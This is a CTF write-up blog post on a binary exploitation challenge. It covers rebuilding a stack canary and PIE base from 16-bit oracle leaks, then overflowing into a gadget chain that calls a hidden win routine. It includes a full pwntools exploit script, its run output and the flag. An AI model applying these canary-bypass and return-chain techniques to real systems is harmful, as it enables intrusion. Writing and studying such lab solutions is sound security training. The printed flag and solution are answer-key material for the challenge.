Skip to main content
 Culling Gateway Revenge - CTF Writeup
  1. Writeups/
  2. CyberSummit V4.0 - CTF Writeups/
  3. Binary Exploitation/

Culling Gateway Revenge - CTF Writeup

·1183 words·6 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: Culling Gateway Revenge
Category: PWN
CTF: CyberSummit V4.0
Description: Tokyo Jujutsu High has escalated to a revenge protocol. Only fragmented oracle visions are available before the gate.
Connection: nc 172.205.208.94 9007


Challenge Overview
#

This revenge variant keeps the same cursed-gate theme but makes information leaks significantly harder. Instead of direct pointer leaks, the binary gives only fragmented oracle outputs before the overflow stage.

Core ingredients:

  1. A shard-based oracle that reveals only 16-bit slices of stack qwords.
  2. A second-stage stack overflow guarded by a canary.
  3. PIE + NX + Partial RELRO, requiring careful runtime reconstruction.

The exploit is therefore: reconstruct first, overflow second.

Initial Reconnaissance
#

Program Structure
#

The binary runs in two phases:

  1. Oracle phase with a fixed number of interactions, where input format is idx part.
  2. Gate phase where an oversized read() writes past a local buffer.

Oracle responses are shaped as:

shard: XXXX

Each XXXX corresponds to one 16-bit fragment of frame[idx], chosen by part in 0..3.

Leak Model
#

For a leaked qword:

  • part 0 gives bits 0..15
  • part 1 gives bits 16..31
  • part 2 gives bits 32..47
  • part 3 gives bits 48..63

So every useful 64-bit value requires four oracle queries and reassembly.

Vulnerability Analysis
#

Fragmented Oracle Instead of Full Leaks
#

Unlike the easier variant, this one does not hand over full pointers/canary values. The first technical hurdle is locating a stable anchor index on the stack.

Reliable approach:

  1. Scan candidate indexes for a recognizable low shard (0xc0de).
  2. Reconstruct the full qword at promising indexes.
  3. Confirm the sentinel tag 0x1337c0de1337c0de.

Once that tag is found, nearby slots expose the dispatch pointer and canary.

Jittered Oracle Replies
#

Oracle interactions include random delay, which weakens brute-force tactics. A practical solver must avoid redundant probes and cache reconstructed qwords whenever possible.

Overflow Still Present in Gate Stage
#

The second phase still performs oversized input into a smaller stack buffer, enabling overwrite of:

  1. Canary
  2. Saved rbp
  3. Saved rip

As usual, the canary must be restored exactly or execution aborts.

Exploitation Strategy
#

Gadget-Based Invoke Primitive
#

The binary includes two helper gadgets:

  • cursed_context
  • cursed_invoke

Chain behavior:

  1. Return into cursed_context to load controlled values (rbx, rbp, r12, r13, plus stack-fed r14, r15).
  2. Return into cursed_invoke.
  3. Argument remap happens internally:
    • r12 -> rdi
    • r13 -> rsi
    • r14 -> rdx
    • rbp -> rcx
  4. Gadget mutates index with rbx ^= 0x44 and performs call [r15 + rbx*8].

By setting rbx = 0x44, the post-xor index becomes 0, selecting k_dispatch_table[0] (hidden success path).

Runtime Argument Derivation
#

The target function checks four arguments tied to PIE/canary-derived expressions:

  • arg1 = 0x13572468deadbeef
  • arg2 = (((pie >> 12) & 0xffffffff) ^ 0xd00df00d)
  • arg3 = (pie ^ canary ^ 0x7a69b00b5eedface)
  • arg4 = (rol(canary, 13) ^ 0x4242)

Because both canary and PIE are dynamic, full shard reconstruction is mandatory before payload generation.

Final Exploit Workflow
#

  1. Discover the stack tag index via shard-guided scanning.
  2. Resolve nearby indexes for canary and dispatch pointer.
  3. Reconstruct both qwords from 16-bit parts.
  4. Recover PIE using dispatch_ptr - k_dispatch_table_offset.
  5. Compute all four validated arguments.
  6. Build overflow payload: padding, canary, saved-frame filler, cursed_context, setup values, cursed_invoke.
  7. Trigger indirect dispatch call to land in the win routine.

Exploit Code
#

#!/usr/bin/env python3
from pwn import *

HOST = "127.0.0.1"
PORT = 1447

context.binary = elf = ELF("../hosted/challenge", checksec=False)
context.arch = "amd64"

DISPATCH_OFF = elf.symbols["k_dispatch_table"]
CURSED_CONTEXT_OFF = elf.symbols["cursed_context"]
CURSED_INVOKE_OFF = elf.symbols["cursed_invoke"]

TAG_VALUE = 0x1337C0DE1337C0DE
MAX_IDX = 40
MAX_ROUNDS = 96

ARG1 = 0x13572468DEADBEEF


def start():
   if args.REMOTE:
      host = args.HOST or HOST
      port = int(args.PORT or PORT)
      return remote(host, port)
   return process(elf.path, cwd="../hosted")


def recv_shard(io):
   io.recvuntil(b"[ORACLE] shard: ")
   return int(io.recvline().strip(), 16)


def oracle_query(io, idx: int, part: int) -> int:
   oracle_query.count += 1
   io.recvuntil(b"(idx part): ")
   io.sendline(f"{idx} {part}".encode())
   return recv_shard(io)


oracle_query.count = 0


def rebuild_qword(io, idx: int) -> int:
   parts = [oracle_query(io, idx, p) for p in range(4)]
   value = 0
   for p, shard in enumerate(parts):
      value |= shard << (16 * p)
   return value


def find_tag_index(io) -> int:
   # Blind discovery: only low 16-bit shard for all indexes first.
   candidates = []
   for idx in range(-MAX_IDX, MAX_IDX + 1):
      low = oracle_query(io, idx, 0)
      if low == (TAG_VALUE & 0xFFFF):
         candidates.append(idx)

   for idx in candidates:
      mid = oracle_query(io, idx, 1)
      if mid == ((TAG_VALUE >> 16) & 0xFFFF):
         high = oracle_query(io, idx, 2)
         top = oracle_query(io, idx, 3)
         value = 0
         value |= (TAG_VALUE & 0xFFFF)
         value |= mid << 16
         value |= high << 32
         value |= top << 48
         if value == TAG_VALUE:
            return idx

   raise RuntimeError("tag index not found")


def rotate_left_64(x: int, r: int) -> int:
   return ((x << r) & 0xFFFFFFFFFFFFFFFF) | (x >> (64 - r))


def build_payload(canary: int, pie: int) -> bytes:
   arg2 = (((pie >> 12) & 0xFFFFFFFF) ^ 0xD00DF00D) & 0xFFFFFFFFFFFFFFFF
   arg3 = (pie ^ canary ^ 0x7A69B00B5EEDFACE) & 0xFFFFFFFFFFFFFFFF
   arg4 = (rotate_left_64(canary, 13) ^ 0x4242) & 0xFFFFFFFFFFFFFFFF

   payload = b"A" * 0x58
   payload += p64(canary)
   payload += b"B" * 8

   payload += p64(pie + CURSED_CONTEXT_OFF)
   payload += p64(0x44)  # xor 0x44 => dispatch slot 0
   payload += p64(arg4)  # rbp -> rcx (4th arg)
   payload += p64(ARG1)  # r12 -> rdi
   payload += p64(arg2)  # r13 -> rsi
   payload += p64(arg3)  # r14 -> rdx
   payload += p64(pie + DISPATCH_OFF)  # r15 -> dispatch table
   payload += p64(pie + CURSED_INVOKE_OFF)

   return payload


def exploit():
   io = start()
   oracle_query.count = 0

   # Find tag blindly; derived indexes are stack-layout dependent but stable for this build.
   tag_idx = find_tag_index(io)
   dispatch_idx = tag_idx + 1
   canary_idx = tag_idx + 2

   dispatch_ptr = rebuild_qword(io, dispatch_idx)
   canary = rebuild_qword(io, canary_idx)

   pie = dispatch_ptr - DISPATCH_OFF

   log.success(f"tag_idx      = {tag_idx}")
   log.success(f"dispatch_idx = {dispatch_idx}")
   log.success(f"canary_idx   = {canary_idx}")
   log.success(f"canary       = {hex(canary)}")
   log.success(f"pie          = {hex(pie)}")

   # Consume remaining oracle rounds so the program advances to gate input.
   # 96 total rounds, and we used:
   # 81 (part0 scan) + up to 4 (tag confirmation) + 8 (rebuild dispatch/canary) = 93 worst case.
   # Send a few safe dummies; extra sends are harmless because we wait for gate prompt.
   remaining = max(0, MAX_ROUNDS - oracle_query.count)
   for _ in range(remaining):
      try:
         oracle_query(io, 0, 0)
      except EOFError:
         break

   io.recvuntil(b"[GATE] Recite your final binding vow:\n")
   io.send(build_payload(canary, pie))

   out = io.recvall(timeout=4)
   print(out.decode(errors="ignore"))

   if b"CyberTrace{" not in out:
      log.failure("Exploit did not recover the flag.")

   io.close()


if __name__ == "__main__":
   exploit()

Run
#

Remote:

python3 solve.py REMOTE=1 HOST=172.205.208.94 PORT=9007

Local:

python3 solve.py

Execution
#

$ python3 solve.py REMOTE=1 HOST=172.205.208.94 PORT=9007
[+] Opening connection to 172.205.208.94 on port 9007: Done
[+] tag_idx      = -19
[+] dispatch_idx = -18
[+] canary_idx   = -17
[+] canary       = 0x5df17419be662900
[+] pie          = 0x5f452156a000
[+] Receiving all data: Done (169B)
[*] Closed connection to 172.205.208.94 port 9007
[GATE] Vow rejected by the six eyes.
[SYSTEM] Domain Expansion: Malevolent Shrine
CyberTrace{7h1S_R3VeN83_7h1NG_1SnT_F0r_M3_4NyM00Re}

[SYSTEM] Curse collapse complete.

Final Flag
#

CyberTrace{7h1S_R3VeN83_7h1NG_1SnT_F0r_M3_4NyM00Re}

Key Takeaways
#

  1. Fragmented leaks are still enough when you can script deterministic qword reconstruction.
  2. Jitter punishes noisy probing, so exploit efficiency matters as much as correctness.
  3. Canary + PIE remain bypassable once both values are rebuilt from partial leaks.
  4. Custom invoke gadgets can be stronger than classic ROP, especially when they directly implement argument plumbing and dispatch.

Related